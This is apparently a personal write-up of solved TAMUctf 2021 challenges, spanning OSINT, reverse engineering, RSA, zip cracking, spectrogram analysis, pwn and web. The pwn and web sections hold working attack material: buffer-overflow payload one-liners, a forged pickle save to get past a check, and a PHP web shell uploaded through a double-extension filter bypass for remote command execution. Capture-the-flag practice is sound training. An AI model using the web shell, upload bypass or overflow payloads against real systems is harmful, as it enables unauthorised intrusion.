TAMUctf 2021

I competed individually in TAMUctf 2021 which ran from April 22nd-25th. I finished the competition with 11/35 solves, 1150 points, placing 5th in the Texas A&M University bracket, and 65th overall in the global bracket with around 350 competitors/teams that submitted a flag. I was 50 points away from 6th place and 1500 points away from first place for the Texas A&M bracket.

The writeups below are for the challenges I solved. Fair warning, I am not a seasoned CTF player or compete regularly so my writeups will most likely not be the optimal solution.

Table of Contents

OSINT

Archival - Points: 50

I can’t remember the flag… it used to be on our website but when we updated it the flag got lost in the process. Since nothing ever gets deleted on the internet it should be safe, but how?

We were asked to retrieve the flag from the previous version of the tamuctf.com home page.

We can use Wayback Machine to see the previous version of the home page and retrieve the flag since it archives previous versions of a website that have been captured.

https://web.archive.org/web/20201028142907/https://tamuctf.com/

TAMUctf-2021/Untitled.png

flag: gigem{s1t3_und3r_c0n57ruc710n}

Elizabeth is Missing - Points: 100

Friends have reported Elizabeth missing and need your help locating her! Can you follow the clues in the missing person flyer and find her most recent location?

file: eowens-flyer.pdf

When we open the PDF, there is a section indicating that it needs to be decrypted.

TAMUctf-2021/Untitled%201.png

We can use a decimal to ASCII converter to get the decoded message.

https://www.rapidtables.com/convert/number/ascii-hex-bin-dec-converter.html

TAMUctf-2021/Untitled%202.png

When we call (979)-429-2176, we get sent straight to Elizabeth’s voicemail indicating she is on a retreat and mentions to keep up with her on her website. https://eowensphotography.weebly.com/

After visiting her site, we can use the web browser’s search feature and search for “gigem” to retrieve the flag on the home page

TAMUctf-2021/Untitled%203.png

flag: gigem{3_0W3N5}

Reverse Engineering

Acrylic - Points: 100

This is an easy challenge. There is a flag that can be printed out from somewhere in this binary. Only one problem: There’s a lot of fake flags as well.

file: acrylic

> file acrylic.bin
acrylic.bin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a74dd043e900423b933455a724cf69c7e4840b28, not stripped

Loaded the binary in Ghidra and relabeled the get_flag function variables for easier readability.

TAMUctf-2021/Untitled%204.png

Ran the get_flag code in a separate terminal to get the final value of a which is 88.

TAMUctf-2021/Untitled%205.png

We need to find the return address of the get_flag function so we needed to compute flags + (long)a * 0x40return value.

If we look in Ghidra, we can see the start address of the flags variable is 0x301020.

TAMUctf-2021/Untitled%206.png

We can now compute the return address of the get_flag function.

a * 0x40 = a * 64 = 88*64 = 5632 = 0x1600

flags + (long)a * 0x40 = 0x301020 + 0x1600 = 0x302620

Therefore, we need to find the string at memory address 0x302620

We can use the search→strings feature in Ghidra to find the specific address.

TAMUctf-2021/Untitled%207.png

flag: gigem{counteradvise_orbitoides}

Crypto

Encoding - Points: 100

This is literally the flag but obfuscated through tons of different encoding schemes.

file: data.txt

We can use CyberChef magic function to analyze the data given to us.

When we analyze the data given in small chunks, we can see that it was encoded with octal encoding.

TAMUctf-2021/Untitled%208.png

When we add more data, we can see that it was encoded with octal and hex and is decoded in binary format.

TAMUctf-2021/Untitled%209.png

When we combine octal, hex, and binary decoding, we are able to get a string that looks like base64 encoding.

TAMUctf-2021/Untitled%2010.png

We can analyze the previous string and see that it was first encoded with base64 then base32.

TAMUctf-2021/Untitled%2011.png

Encoding scheme: base64→base32→binary→hex→octal

flag: gigem{3nc0ding_1s_n0t_crypt0_428427}

Basic RSA - Points: 100

To: Dr Rivest CC: Dr Shamir We found this code and these numbers. data.txt Mean anything to you? Sincerely

  • Dr Adleman

file: data.txt

We were given the public key e, modulus N, and a list of cipher text c

We can compute the private key with d = e^-1 mod phi

We can find the prime factorization of N by using factordb.com

TAMUctf-2021/Untitled%2012.png

from Crypto.Util.number import inverse

N = 2095975199372471 
e = 5449
p = 21094081 
q = 99363191

c = [875597732337885,1079270043421597,616489707580218,2010079518477891,1620280754358135,616660320758264,86492804386481,171830236437002,1500250422231406,234060757406619,1461569132566245,897825842938043,2010079518477891,234060757406619,1620280754358135,2010079518477891,966944159095310,1669094464917286,1532683993596672,171830236437002,1461569132566245,2010079518477891,221195854354967,1500250422231406,234060757406619,355168739080744,616660320758264,1620280754358135]

phi = (p - 1) * (q - 1)

d = inverse(e, phi)

flag = ""

for c2m in c:
        m = pow(c2m, d, N)
        flag += bytearray.fromhex(hex(m)[2:]).decode()

print("gigem{%s}" % flag)

flag: gigem{RSA_s3cur1ty_1s_4b0ut_pr1m3s}

Forensics

Unzip - Points: 100

Hey, can you unzip this for me?

chall.zip

We are given a zip file that is password protected. We can run the zip file against fcrackzip tool with a dictionary attack enabled to find the correct password.

> fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt chall.zip

TAMUctf-2021/Untitled%2013.png

password: hunter2

We can unzip the zip file with the password we found to get the file that contains the flag.

TAMUctf-2021/Untitled%2014.png

flag: gigem{d0esnt_looK_lik3_5t4rs_t0_M3}

Sigint

Spectral Imaging - Points: 100

Some things are meant to be heard but not seen. This sounds like it’s meant to be seen, not heard.

audio.wav

We can run the audio file through a spectral analyzer to visualize the audio signals.

Using the following tool will show the flag below. https://www.dcode.fr/spectral-analysis

TAMUctf-2021/Untitled%2015.png

flag: gigem{4ud10-m4d3-v15u4L}

PWN

Pancake - Points: 100

Attack this binary to get the flag!

pancake

> file ./pancake
./pancake: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f6216b4f441f42a2260220682ead74b9f61bc162, for GNU/Linux 3.2.0, not stripped

TAMUctf-2021/Untitled%2016.png

TAMUctf-2021/Untitled%2017.png

This binary appears to be vulnerable to buffer overflow since memory has been overwritten with our input.

Let’s now analyze this file with Ghidra to see the decompiled code.

TAMUctf-2021/Untitled%2018.png

We can notice that there is a comparison to 0x8406688 with a variable that has been initialized to zero.

We can write to the memory address of the variable that gets compared to 0x8406688 with the correct value to validate the comparison with the following command

> python -c "print('A'*67 + '\x88f@\x08')" | ./pancake

flag: gigem{b4s1c_b4ff3r_0verfl0w_g03s_y33t}

Handshake - Points: 150

Attack this binary and get the flag!

handshake.bin

> file handshake
handshake: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=4095e5911cf4d421e08cfe6cb9010d029426e836, for GNU/Linux 3.2.0, not stripped

In this challenge, we just need to call a function that is not being called. There is a win function that we can identify if we run readelf -s hankshake .

> readelf -s handshake | grep win
62: 080491c2   222 FUNC    GLOBAL DEFAULT   13 win

We need to convert address 0x080491c2to 32-bit little endian and add it to over buffer overflow attack.

import pwn
print(pwn.p32(0x080491c2, endian='little'))
b'\xc2\x91\x04\x08'

We have to set the address stored in the instruction pointer to the address of the win function so it gets executed on the next instruction. We can find that the buffer size is 42 bytes before the program segfaults and append the address of the win function for the function to be called. I used sudo dmesg | grep segfault to check the instruction pointer and by how much it was overwritten when the program segfaults with arbitrary input lengths until I found the size that was just big enough to overwrite the address stored in the instruction pointer.

> python -c "print('A'*42 + '\xc2\x91\x04\x08')" | ./hankshake

flag: gigem{r37urn_c0n7r0l1337}

TicTacToe - Points: 150

tictactoe.py

We are given a python file that runs a Tic-Tac-Toe game. After analyzing it, we can notice that this program is vulnerable to python pickle serialization.

https://dan.lousqui.fr/explaining-and-exploiting-deserialization-vulnerability-with-python-en.html

When we look at the source code, we can notice that the get_hash function is not using the arguments that are being passed in so we can bypass the validation check when using option 4 in the program. Let’s create our own “code” that saves our progress with the hash of 0 wins but modify the number of wins to be greater or equal to the target number of wins which is 133713371337.

import pickle
import base64

data = {'wins': 133713371337, 'security': 'JmWnJJI4Wf0Tofe8nEjIBP+l9ceVBhgDEYdUCHAdOOE='}

print(base64.b64encode(pickle.dumps(data)).decode())
'gASVTQAAAAAAAAB9lCiMBHdpbnOUigXJIPAhH4wIc2VjdXJpdHmUjCxKbVduSkpJNFdmMFRvZmU4bkVqSUJQK2w5Y2VWQmhnREVZZFVDSEFkT09FPZR1Lg=='

Serialized data variable: gASVTQAAAAAAAAB9lCiMBHdpbnOUigXJIPAhH4wIc2VjdXJpdHmUjCxKbVduSkpJNFdmMFRvZmU4bkVqSUJQK2w5Y2VWQmhnREVZZFVDSEFkT09FPZR1Lg==

After using the modified serialized input, the program deserializes it with the pickle load command and we are able to make the program believe we achieve the desired win score to retrieve the flag.

TAMUctf-2021/Untitled%2019.png

flag: gigem{h3y_7h47_d035n'7_l00k_l1k3_4_p1ckl3d_54v3}

Web

uphpload - Points: 100

I made a website to collect reaction images, feel free to upload some!

When we access the web page, we notice that it allows file uploads but after trying to upload a PHP file, we get a message specifying only jpg, gif, png, and jpeg file types are allowed.

We need to find a way to bypass the filter and the link below provides some useful techniques to do so.

https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf

TAMUctf-2021/Untitled%2020.png

We can create a uphpload.jpg.php file to bypass the file extension filter and insert the following content to exploit RCE vulnerability on the web application.

<?php echo shell_exec($_GET['cmd']); ?>

We can confirm we have RCE on the web app by issuing a simple whoami command.

TAMUctf-2021/Untitled%2021.png

We can now do a directory traversal attack to find the flag.

TAMUctf-2021/Untitled%2022.png

TAMUctf-2021/Untitled%2023.png

flag: gigem{R3vER5e_R3ver5e!}